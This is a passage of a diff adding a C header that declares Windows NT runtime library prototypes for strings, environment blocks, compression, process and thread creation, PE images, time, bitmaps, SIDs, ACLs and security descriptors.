( + PUNICODE_STRING Destination, + PCWSTR Source + ); + +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + WCHAR SourceCharacter + ); + +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + WCHAR SourceCharacter + ); + +VOID +NTAPI +RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + +VOID +NTAPI +RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + +VOID +NTAPI +RtlFreeOemString( + POEM_STRING OemString + ); + +ULONG +NTAPI +RtlxUnicodeStringToAnsiSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxUnicodeStringToOemSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxAnsiStringToUnicodeSize( + PCANSI_STRING AnsiString + ); + +ULONG +NTAPI +RtlxOemStringToUnicodeSize( + PCOEM_STRING OemString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCSTR MultiByteString, + IN ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + PULONG BytesInUnicodeString, + PCSTR MultiByteString, + ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + OUT PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlOemToUnicodeN( + OUT PWSTR UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH OemString, + IN ULONG BytesInOemString + ); + +NTSTATUS +NTAPI +RtlUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString OPTIONAL, + IN PCH MultiByteString, + IN ULONG BytesInMultiByteString, + OUT PULONG pdwSpecialChar ); + +BOOLEAN +NTAPI +RtlIsTextUnicode( + IN CONST VOID* Buffer, + IN ULONG Size, + IN OUT PULONG Result OPTIONAL + ); + +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID* Guid + ); + +VOID +NTAPI +RtlGenerate8dot3Name ( + IN PUNICODE_STRING Name, + IN BOOLEAN AllowExtendedCharacters, + IN OUT PGENERATE_NAME_CONTEXT Context, + OUT PUNICODE_STRING Name8dot3 + ); + +BOOLEAN +NTAPI +RtlIsNameLegalDOS8Dot3 ( + IN PUNICODE_STRING Name, + IN OUT POEM_STRING OemName OPTIONAL, + IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + ); + +VOID +NTAPI +RtlInitializeContext( + HANDLE Process, + PCONTEXT Context, + PVOID Parameter, + PVOID InitialPc, + PVOID InitialSp + ); + +NTSTATUS +NTAPI +RtlRemoteCall( + HANDLE Process, + HANDLE Thread, + PVOID CallSite, + ULONG ArgumentCount, + PULONG_PTR Arguments, + BOOLEAN PassContext, + BOOLEAN AlreadySuspended + ); + +VOID +NTAPI +RtlAcquirePebLock( + ); + +VOID +NTAPI +RtlReleasePebLock( + ); + +NTSTATUS +NTAPI +RtlAllocateFromPeb( + ULONG Size, + PVOID *Block + ); + +NTSTATUS +NTAPI +RtlFreeToPeb( + PVOID Block, + ULONG Size + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + PVOID Environment, + PVOID *PreviousEnvironment + ); + +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PCUNICODE_STRING Name, + PCUNICODE_STRING Value + ); + +ULONG +RtlIsDosDeviceName_U( + IN PWSTR DosFileName + ); + +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PCUNICODE_STRING Name, + PUNICODE_STRING Value + ); + +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + IN PVOID Environment OPTIONAL, + IN PCUNICODE_STRING Source, + OUT PUNICODE_STRING Destination, + OUT PULONG ReturnedLength OPTIONAL + ); + +VOID +NTAPI +PfxInitialize ( + PPREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +PfxInsertPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING Prefix, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +PfxRemovePrefix ( + PPREFIX_TABLE PrefixTable, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING FullName + ); + +VOID +NTAPI +RtlInitializeUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +RtlInsertUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING Prefix, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +RtlRemoveUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING FullName, + ULONG CaseInsensitiveIndex + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + BOOLEAN Restart + ); + +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize ( + IN USHORT CompressionFormatAndEngine, + OUT PULONG CompressBufferWorkSpaceSize, + OUT PULONG CompressFragmentWorkSpaceSize + ); + +NTSTATUS +NTAPI +RtlCompressBuffer ( + IN USHORT CompressionFormatAndEngine, + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG UncompressedChunkSize, + OUT PULONG FinalCompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDecompressBuffer ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + OUT PULONG FinalUncompressedSize + ); + +NTSTATUS +NTAPI +RtlDecompressFragment ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedFragment, + IN ULONG UncompressedFragmentSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG FragmentOffset, + OUT PULONG FinalUncompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDescribeChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + OUT PULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlReserveChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + IN ULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlDecompressChunks ( + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN PUCHAR CompressedTail, + IN ULONG CompressedTailSize, + IN PCOMPRESSED_DATA_INFO CompressedDataInfo + ); + +NTSTATUS +NTAPI +RtlCompressChunks ( + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN OUT PCOMPRESSED_DATA_INFO CompressedDataInfo, + IN ULONG CompressedDataInfoLength, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlCreateProcessParameters( + PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, + PUNICODE_STRING ImagePathName, + PUNICODE_STRING DllPath, + PUNICODE_STRING CurrentDirectory, + PUNICODE_STRING CommandLine, + PVOID Environment, + PUNICODE_STRING WindowTitle, + PUNICODE_STRING DesktopInfo, + PUNICODE_STRING ShellInfo, + PUNICODE_STRING RuntimeData + ); + +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSTATUS +NTAPI +RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSTATUS +NTAPI +RtlCreateUserThread( + HANDLE Process, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + BOOLEAN CreateSuspended, + ULONG StackZeroBits, + SIZE_T MaximumStackSize OPTIONAL, + SIZE_T InitialStackSize OPTIONAL, + PUSER_THREAD_START_ROUTINE StartAddress, + PVOID Parameter, + PHANDLE Thread, + PCLIENT_ID ClientId + ); + +VOID +NTAPI +RtlExitUserThread ( + IN NTSTATUS ExitStatus + ); + +VOID +NTAPI +RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread + ); +/* +PVOID +NTAPI +RtlPcToFileHeader( + PVOID PcValue, + PVOID *BaseOfImage + );*/ + +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + ULONG Flags, + PVOID Base, + ULONG64 Size, + OUT PIMAGE_NT_HEADERS * OutHeaders + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + PVOID Base + ); + +PVOID +NTAPI +RtlAddressInSectionTable ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +NTSTATUS +NTAPI +RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size + ); + +PVOID +RtlImageDirectoryEntryToData32 ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva + ); + +PVOID +NTAPI +RtlImageRvaToVa( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva, + IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL + ); + + +VOID +NTAPI +RtlCopyMemoryNonTemporal ( + VOID UNALIGNED *Destination, + CONST VOID UNALIGNED *Source, + SIZE_T Length + ); + +VOID __fastcall +RtlPrefetchMemoryNonTemporal( + IN PVOID Source, + IN SIZE_T Length + ); + +SIZE_T +NTAPI +RtlCompareMemoryUlong ( + PVOID Source, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlong ( + PVOID Destination, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlonglong ( + PVOID Destination, + SIZE_T Length, + ULONGLONG Pattern + ); + +VOID +NTAPI +RtlInitializeExceptionLog( + IN ULONG Entries + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter( + IN struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter2( + IN struct _EXCEPTION_POINTERS *ExceptionInfo, + IN PCSTR Function + ); + +VOID +NTAPI +DbgUserBreakPoint( + VOID + ); + +VOID +NTAPI +DbgBreakPointWithStatus( + IN ULONG Status + ); + +ULONG +DbgPrintEx ( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + ... + ); + +ULONG +NTAPI +vDbgPrintEx( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +NTAPI +vDbgPrintExWithPrefix ( + IN PCH Prefix, + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +DbgPrintReturnControlC ( + IN PCHAR Format, + ... + ); + +NTSTATUS +NTAPI +DbgQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + +NTSTATUS +NTAPI +DbgSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + +ULONG +NTAPI +DbgPrompt ( + IN PCH Prompt, + OUT PCH Response, + IN ULONG Length + ); + +VOID +NTAPI +DbgLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgUnLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgCommandString ( + IN PCH Name, + IN PCH Command + ); + +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + PTIME_FIELDS CutoverTime, + PLARGE_INTEGER SystemTime, + PLARGE_INTEGER CurrentSystemTime, + BOOLEAN ThisYear + ); + +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime ( + IN PLARGE_INTEGER SystemTime, + OUT PLARGE_INTEGER LocalTime + ); + +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime ( + IN PLARGE_INTEGER LocalTime, + OUT PLARGE_INTEGER SystemTime + ); + +VOID +NTAPI +RtlTimeToElapsedTimeFields ( + IN PLARGE_INTEGER Time, + OUT PTIME_FIELDS TimeFields + ); + +VOID +NTAPI +RtlTimeToTimeFields ( + PLARGE_INTEGER Time, + PTIME_FIELDS TimeFields + ); + +BOOLEAN +NTAPI +RtlTimeFieldsToTime ( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1980ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970 ( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID +NTAPI +RtlSecondsSince1970ToTime ( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + OUT PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + IN PRTL_TIME_ZONE_INFORMATION TimeZoneInformation + ); + +NTSTATUS +NTAPI +RtlSetActiveTimeBias( + IN LONG ActiveBias + ); + +VOID +NTAPI +RtlInitializeBitMap ( + PRTL_BITMAP BitMapHeader, + PULONG BitMapBuffer, + ULONG SizeOfBitMap + ); + +VOID +NTAPI +RtlClearBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlSetBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +BOOLEAN +NTAPI +RtlTestBit ( + PRTL_BITMAP BitMapHeader, + ULONG BitNumber + ); + +VOID +NTAPI +RtlClearAllBits ( + PRTL_BITMAP BitMapHeader + ); + +VOID +NTAPI +RtlSetAllBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlFindClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindClearBitsAndSet ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +ULONG +NTAPI +RtlFindSetBitsAndClear ( + PRTL_BITMAP BitMapHeader, + ULONG NumberToFind, + ULONG HintIndex + ); + +VOID +NTAPI +RtlClearBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToClear + ); + +VOID +NTAPI +RtlSetBits ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG NumberToSet + ); + +ULONG +NTAPI +RtlFindClearRuns ( + PRTL_BITMAP BitMapHeader, + PRTL_BITMAP_RUN RunArray, + ULONG SizeOfRunArray, + BOOLEAN LocateLongestRuns + ); + +ULONG +NTAPI +RtlFindLongestRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlFindFirstRunClear ( + PRTL_BITMAP BitMapHeader, + PULONG StartingIndex + ); + +ULONG +NTAPI +RtlNumberOfClearBits ( + PRTL_BITMAP BitMapHeader + ); + +ULONG +NTAPI +RtlNumberOfSetBits ( + PRTL_BITMAP BitMapHeader + ); + +BOOLEAN +NTAPI +RtlAreBitsClear ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +BOOLEAN +NTAPI +RtlAreBitsSet ( + PRTL_BITMAP BitMapHeader, + ULONG StartingIndex, + ULONG Length + ); + +ULONG +NTAPI +RtlFindNextForwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +ULONG +NTAPI +RtlFindLastBackwardRunClear ( + IN PRTL_BITMAP BitMapHeader, + IN ULONG FromIndex, + IN PULONG StartingRunIndex + ); + +CCHAR +NTAPI +RtlFindLeastSignificantBit ( + IN ULONGLONG Set + ); + +CCHAR +NTAPI +RtlFindMostSignificantBit ( + IN ULONGLONG Set + ); + +BOOLEAN +NTAPI +RtlValidSid ( + PSID Sid + ); + +BOOLEAN +NTAPI +RtlEqualSid ( + PSID Sid1, + PSID Sid2 + ); + +BOOLEAN +NTAPI +RtlEqualPrefixSid ( + PSID Sid1, + PSID Sid2 + ); + +ULONG +NTAPI +RtlLengthRequiredSid ( + ULONG SubAuthorityCount + ); + +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlInitializeSid( + OUT PSID Sid, + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount + ); + +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid ( + PSID Sid + ); + +PULONG +NTAPI +RtlSubAuthoritySid( + IN PSID Sid, + IN ULONG SubAuthority + ); + +PUCHAR +NTAPI +RtlSubAuthorityCountSid ( + PSID Sid + ); + +ULONG +NTAPI +RtlLengthSid ( + PSID Sid + ); + +NTSTATUS +NTAPI +RtlCopySid ( + ULONG DestinationSidLength, + PSID DestinationSid, + PSID SourceSid + ); + +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray ( + ULONG ArrayLength, + PSID_AND_ATTRIBUTES Source, + ULONG TargetSidBufferSize, + PSID_AND_ATTRIBUTES TargetArrayElement, + PSID TargetSid, + PSID *NextTargetSid, + PULONG RemainingTargetSidSize + ); + +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + PSID Sid, + PULONG StringLength + ); + +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + PUNICODE_STRING UnicodeString, + PSID Sid, + BOOLEAN AllocateDestinationString + ); + +VOID +NTAPI +RtlCopyLuid ( + PLUID DestinationLuid, + PLUID SourceLuid + ); + +VOID +NTAPI +RtlCopyLuidAndAttributesArray ( + ULONG ArrayLength, + PLUID_AND_ATTRIBUTES Source, + PLUID_AND_ATTRIBUTES Target + ); + +BOOLEAN +NTAPI +RtlAreAllAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +BOOLEAN +NTAPI +RtlAreAnyAccessesGranted( + ACCESS_MASK GrantedAccess, + ACCESS_MASK DesiredAccess + ); + +VOID +NTAPI +RtlMapGenericMask( + PACCESS_MASK AccessMask, + PGENERIC_MAPPING GenericMapping + ); + +NTSTATUS +NTAPI +RtlCreateAcl( + OUT PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + +BOOLEAN +NTAPI +RtlValidAcl( + PACL Acl + ); + +NTSTATUS +NTAPI +RtlQueryInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlSetInformationAcl( + PACL Acl, + PVOID AclInformation, + ULONG AclInformationLength, + ACL_INFORMATION_CLASS AclInformationClass + ); + +NTSTATUS +NTAPI +RtlAddAce( + PACL Acl, + ULONG AceRevision, + ULONG StartingAceIndex, + PVOID AceList, + ULONG AceListLength + ); + +NTSTATUS +NTAPI +RtlDeleteAce( + PACL Acl, + ULONG AceIndex + ); + +NTSTATUS +NTAPI +RtlGetAce( + PACL Acl, + ULONG AceIndex, + PVOID *Ace + ); + +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID Owner, + IN OPTIONAL BOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Owner, + OUT PBOOLEAN OwnerDefaulted + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + PACL Acl, + ULONG AceRevision, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + PACL Acl, + ULONG AceRevision, + ULONG AceFlags, + ACCESS_MASK AccessMask, + PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid + ); + +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ACCESS_MASK AccessMask, + IN GUID *ObjectTypeGuid OPTIONAL, + IN GUID *InheritedObjectTypeGuid OPTIONAL, + IN PSID Sid, + BOOLEAN AuditSuccess, + BOOLEAN AuditFailure + ); + +BOOLEAN +NTAPI +RtlFirstFreeAce( + PACL Acl, + PVOID *FirstFree + ); + +NTSTATUS +NTAPI +RtlAddCompoundAce( + IN PACL Acl, + IN ULONG AceRevision, + IN UCHAR AceType, + IN ACCESS_MASK AccessMask, + IN PSID ServerSid, + IN PSID ClientSid + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision + ); + +NTSTATUS +NTAPI +RtlCreateSecurityDescriptorRelative( + PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor, + ULONG Revision + ); + +BOOLEAN +NTAPI +RtlValidSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +ULONG +NTAPI +RtlLengthSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +BOOLEAN +NTAPI +RtlValidRelativeSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptorInput, + IN ULONG SecurityDescriptorLength, + IN SECURITY_INFORMATION RequiredInformation + ); + +NTSTATUS +NTAPI +RtlGetControlSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSECURITY_DESCRIPTOR_CONTROL Control, + PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetControlSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR pSecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, + IN SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet + ); + +NTSTATUS +NTAPI +RtlSetAttributesSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN SECURITY_DESCRIPTOR_CONTROL Control, + IN OUT PULONG Revision + ); + +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN DaclPresent, + PACL Dacl, + BOOLEAN DaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN DaclPresent, + OUT PACL *Dacl, + OUT PBOOLEAN DaclDefaulted + ); + +BOOLEAN +NTAPI +RtlGetSecurityDescriptorRMControl( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PUCHAR RMControl + ); + +VOID +NTAPI +RtlSetSecurityDescriptorRMControl( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PUCHAR RMControl OPTIONAL + ); + +NTSTATUS +NTAPI +RtlSetSaclSecurityDescriptor ( + PSECURITY_DESCRIPTOR SecurityDescriptor, + BOOLEAN SaclPresent, + PACL Sacl, + BOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PBOOLEAN SaclPresent, + OUT PACL *Sacl, + OUT PBOOLEAN SaclDefaulted + ); + +NTSTATUS +NTAPI +RtlSetGroupSecurityDescriptor ( + IN OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Group OPTIONAL, + IN BOOLEAN GroupDefaulted OPTIONAL + ); + +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + OUT PSID *Group, + OUT PBOOLEAN GroupDefaulted + ); + +NTSTATUS +NTAPI +RtlMakeSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, + IN OUT PULONG BufferLength + ); + +NTSTATUS +NTAPI +RtlAbsoluteToSelfRelativeSD ( + IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, + OUT PSECURITY_DESCRIPTOR 